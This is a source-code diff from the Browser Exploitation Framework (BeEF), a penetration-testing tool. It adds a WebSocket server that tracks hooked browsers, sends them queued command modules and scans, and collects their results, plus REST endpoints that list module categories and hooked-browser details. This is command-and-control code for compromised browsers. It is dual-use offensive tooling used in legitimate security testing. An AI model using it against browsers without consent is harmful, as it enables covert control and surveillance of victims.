'Location' => @target
}
)
end
private
@request
@response
end
end
end
end
end

View File

@@ -0,0 +1,262 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module Websocket
require 'singleton'
require 'json'
require 'base64'
require 'em-websocket'
class Websocket
include Singleton
include BeEF::Core::Handlers::Modules::Command
@@activeSocket= Hash.new
@@lastalive= Hash.new
@@config = BeEF::Core::Configuration.instance
#@@wsopt=nil
MOUNTS = BeEF::Core::Server.instance.mounts
def initialize
secure = @@config.get("beef.http.websocket.secure")
@root_dir = File.expand_path('../../../../../', __FILE__)
if (secure)
ws_secure_options = {:host => "0.0.0.0", :port => @@config.get("beef.http.websocket.secure_port"), :secure => true,
:tls_options => {
:private_key_file => @root_dir+"/"+@@config.get("beef.http.https.key"),
:cert_chain_file => @root_dir+"/"+ @@config.get("beef.http.https.cert")
}
}
# @note Start a WSS server socket
start_websocket_server(ws_secure_options, true)
end
# @note Start a WS server socket
ws_options = {:host => "0.0.0.0", :port => @@config.get("beef.http.websocket.port")}
start_websocket_server(ws_options,false)
# #Thread for websocket-secure
# Thread.new {
# port = @@config.get("beef.http.websocket.secure_port")
# sleep 2 # prevent issues when starting at the same time the TunnelingProxy, Thin and Evented WebSockets
# EventMachine.run {
#
# wsopt = {:host => "0.0.0.0", :port => port, :secure => true,
# :tls_options => {
# :private_key_file => @root_dir+"/"+@@config.get("beef.http.https.key"),
# :cert_chain_file => @root_dir+"/"+ @@config.get("beef.http.https.cert")
# }
# }
#
#
# EventMachine::WebSocket.start(wsopt) do |ws|
# begin
# print_debug "New WebSocket-secured channel open."
# ws.onmessage { |msg|
# msg_hash = JSON.parse("#{msg}")
# #@note messageHash[result] is Base64 encoded
# if (msg_hash["cookie"]!= nil)
# print_debug("WebSocket-secured - Browser says helo! WebSocket is running")
# #insert new connection in activesocket
# @@activeSocket["#{msg_hash["cookie"]}"] = ws
# print_debug("WebSocket-secured - activeSocket content [#{@@activeSocket}]")
# elsif msg_hash["alive"] != nil
# hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => msg_hash["alive"])
# unless hooked_browser.nil?
# hooked_browser.lastseen = Time.new.to_i
# hooked_browser.count!
# hooked_browser.save
#
# #Check if new modules need to be sent
# zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false)
# zombie_commands.each { |command| add_command_instructions(command, hooked_browser) }
#
# #@todo antisnatchor:
# #@todo - re-use the pre_hook_send callback mechanisms to have a generic check for multipl extensions
# #Check if new forged requests need to be sent (Requester/TunnelingProxy)
# dhook = BeEF::Extension::Requester::API::Hook.new
# dhook.requester_run(hooked_browser, '')
#
# #Check if new XssRays scan need to be started
# xssrays = BeEF::Extension::Xssrays::API::Scan.new
# xssrays.start_scan(hooked_browser, '')
# end
# else
# #json recv is a cmd response decode and send all to
# #we have to call dynamicreconstructor handler camp must be websocket
# #print_debug("Received from WebSocket #{messageHash}")
# execute(msg_hash)
# end
# }
# rescue Exception => e
# print_error "WebSocket-secured error: #{e}"
# end
# end
# }
#
# }
#
##Thread for websocket
#Thread.new {
# port = @@config.get("beef.http.websocket.port")
# sleep 2 # prevent issues when starting at the same time the TunnelingProxy, Thin and Evented WebSockets
# EventMachine.run {
#
# wsopt = {:host => "0.0.0.0", :port => port}
#
#
# EventMachine::WebSocket.start(wsopt) do |ws|
# begin
# print_debug "New WebSocket channel open."
# ws.onmessage { |msg|
# msg_hash = JSON.parse("#{msg}")
# #@note messageHash[result] is Base64 encoded
# if (msg_hash["cookie"]!= nil)
# print_debug("WebSocket - Browser says helo! WebSocket is running")
# #insert new connection in activesocket
# @@activeSocket["#{msg_hash["cookie"]}"] = ws
# print_debug("WebSocket - activeSocket content [#{@@activeSocket}]")
# elsif msg_hash["alive"] != nil
# hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => msg_hash["alive"])
# unless hooked_browser.nil?
# hooked_browser.lastseen = Time.new.to_i
# hooked_browser.count!
# hooked_browser.save
#
# #Check if new modules need to be sent
# zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false)
# zombie_commands.each { |command| add_command_instructions(command, hooked_browser) }
#
# #@todo antisnatchor:
# #@todo - re-use the pre_hook_send callback mechanisms to have a generic check for multipl extensions
# #Check if new forged requests need to be sent (Requester/TunnelingProxy)
# dhook = BeEF::Extension::Requester::API::Hook.new
# dhook.requester_run(hooked_browser, '')
#
# #Check if new XssRays scan need to be started
# xssrays = BeEF::Extension::Xssrays::API::Scan.new
# xssrays.start_scan(hooked_browser, '')
# end
# else
# #json recv is a cmd response decode and send all to
# #we have to call dynamicreconstructor handler camp must be websocket
# #print_debug("Received from WebSocket #{messageHash}")
# execute(msg_hash)
# end
# }
# rescue Exception => e
# print_error "WebSocket error: #{e}"
# end
# end
# }
#}
end
def start_websocket_server(ws_options, secure)
Thread.new {
sleep 2 # prevent issues when starting at the same time the TunnelingProxy, Thin and Evented WebSockets
EventMachine.run {
EventMachine::WebSocket.start(ws_options) do |ws|
begin
secure ? print_debug("New WebSocketSecure channel open.") : print_debug("New WebSocket channel open.")
ws.onmessage { |msg|
msg_hash = JSON.parse("#{msg}")
#@note messageHash[result] is Base64 encoded
if (msg_hash["cookie"]!= nil)
print_debug("WebSocket - Browser says helo! WebSocket is running")
#insert new connection in activesocket
@@activeSocket["#{msg_hash["cookie"]}"] = ws
print_debug("WebSocket - activeSocket content [#{@@activeSocket}]")
elsif msg_hash["alive"] != nil
hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => msg_hash["alive"])
unless hooked_browser.nil?
hooked_browser.lastseen = Time.new.to_i
hooked_browser.count!
hooked_browser.save
#Check if new modules need to be sent
zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false)
zombie_commands.each { |command| add_command_instructions(command, hooked_browser) }
#@todo antisnatchor:
#@todo - re-use the pre_hook_send callback mechanisms to have a generic check for multipl extensions
#Check if new forged requests need to be sent (Requester/TunnelingProxy)
dhook = BeEF::Extension::Requester::API::Hook.new
dhook.requester_run(hooked_browser, '')
#Check if new XssRays scan need to be started
xssrays = BeEF::Extension::Xssrays::API::Scan.new
xssrays.start_scan(hooked_browser, '')
end
else
#json recv is a cmd response decode and send all to
#we have to call dynamicreconstructor handler camp must be websocket
#print_debug("Received from WebSocket #{messageHash}")
execute(msg_hash)
end
}
rescue Exception => e
print_error "WebSocket error: #{e}"
end
end
}
}
end
#@note retrieve the right websocket channel given an hooked browser session
#@param [String] session the hooked browser session
def getsocket (session)
if (@@activeSocket[session] != nil)
true
else
false
end
end
#@note send a function to hooked and ws browser
#@param [String] fn the module to execute
#@param [String] session the hooked browser session
def send (fn, session)
@@activeSocket[session].send(fn)
end
BeEF::Core::Handlers::Commands
#call the handler for websocket cmd response
#@param [Hash] data contains the answer of a command
def execute (data)
command_results=Hash.new
command_results["data"]=Base64.decode64(data["result"])
command_results["data"].force_encoding('UTF-8')
hooked_browser = data["bh"]
(print_error "BeEFhook is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(hooked_browser)
(print_error "command_id is invalid"; return) if not BeEF::Filters.is_valid_command_id?(data["cid"])
(print_error "command name is empty"; return) if data["handler"].empty?
(print_error "command results are empty"; return) if command_results.empty?
handler = data["handler"]
if handler.match(/command/)
BeEF::Core::Models::Command.save_result(hooked_browser, data["cid"],
@@config.get("beef.module.#{handler.gsub("/command/", "").gsub(".js", "")}.name"), command_results)
else #processing results from extensions, call the right handler
data["beefhook"] = hooked_browser
data["results"] = JSON.parse(Base64.decode64(data["result"]))
if MOUNTS.has_key?(handler)
if MOUNTS[handler].class == Array and MOUNTS[handler].length == 2
MOUNTS[handler][0].new(data, MOUNTS[handler][1])
else
MOUNTS[handler].new(data)
end
end
end
end
end
end
end
end

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
@@ -29,6 +19,12 @@ module BeEF
end
end
module RegisterCategoriesHandler
def self.mount_handler(server)
server.mount('/api/categories', BeEF::Core::Rest::Categories.new)
end
end
module RegisterLogsHandler
def self.mount_handler(server)
server.mount('/api/logs', BeEF::Core::Rest::Logs.new)
@@ -43,6 +39,8 @@ module BeEF
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterHooksHandler, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterModulesHandler, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterCategoriesHandler, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterLogsHandler, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterAdminHandler, BeEF::API::Server, 'mount_handler')

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF

View File

@@ -0,0 +1,39 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module Rest
class Categories < BeEF::Core::Router::Router
config = BeEF::Core::Configuration.instance
before do
error 401 unless params[:token] == config.get('beef.api_token')
halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
headers 'Content-Type' => 'application/json; charset=UTF-8',
'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
'Expires' => '0'
end
get '/' do
categories = BeEF::Modules::get_categories
cats = Array.new
i = 0
# todo add sub-categories support!
categories.each do |category|
cat = {"id" => i, "name" => category}
cats << cat
i += 1
end
cats.to_json
end
end
end
end
end

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
@@ -30,7 +20,16 @@ module BeEF
'Expires' => '0'
end
#
# @note Return a can of Leffe to the thirsty Bovine Security Team member. AthCon2012 joke /antisnatchor/
#
#get "/to/a/pub"
# "BeER please"
#end
#
# @note Get online and offline hooked browsers details (like name, version, os, ip, port, ...)
#
get '/' do
online_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.all(:lastseen.gte => (Time.new.to_i - 15)))
offline_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.all(:lastseen.lt => (Time.new.to_i - 15)))
@@ -44,7 +43,9 @@ module BeEF
output.to_json
end
#
# @note Get all the hooked browser details (plugins enabled, technologies enabled, cookies)
#
get '/:session' do
hb = BeEF::Core::Models::HookedBrowser.first(:session => params[:session])
error 401 unless hb != nil
@@ -71,14 +72,15 @@ module BeEF
details = BeEF::Core::Models::BrowserDetails
{
'name' => details.get(hb.session, 'BrowserName'),
'version' => details.get(hb.session, 'BrowserVersion'),
'os' => details.get(hb.session, 'OsName'),
'platform' => details.get(hb.session, 'SystemPlatform'),
'session' => hb.session,
'ip' => hb.ip,
'domain' => details.get(hb.session, 'HostName'),
'port' => hb.port.to_s,
'id' => hb.id,
'session' => hb.session,
'name' => details.get(hb.session, 'BrowserName'),
'version' => details.get(hb.session, 'BrowserVersion'),
'os' => details.get(hb.session, 'OsName'),
'platform' => details.get(hb.session, 'BrowserPlatform'),
'ip' => hb.ip,
'domain' => details.get(hb.session, 'HostName'),
'port' => hb.port.to_s,
'page_uri' => details.get(hb.session, 'PageURI')
}
end
@@ -86,4 +88,4 @@ module BeEF
end
end
end
end
end

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
@@ -30,13 +20,17 @@ module BeEF
'Expires' => '0'
end
#
# @note Get all global logs
#
get '/' do
logs = BeEF::Core::Models::Log.all()
logs_to_json(logs)
end
#
# @note Get hooked browser logs
#
get '/:session' do
hb = BeEF::Core::Models::HookedBrowser.first(:session => params[:session])
error 401 unless hb != nil

Some files were not shown because too many files have changed in this diff Show More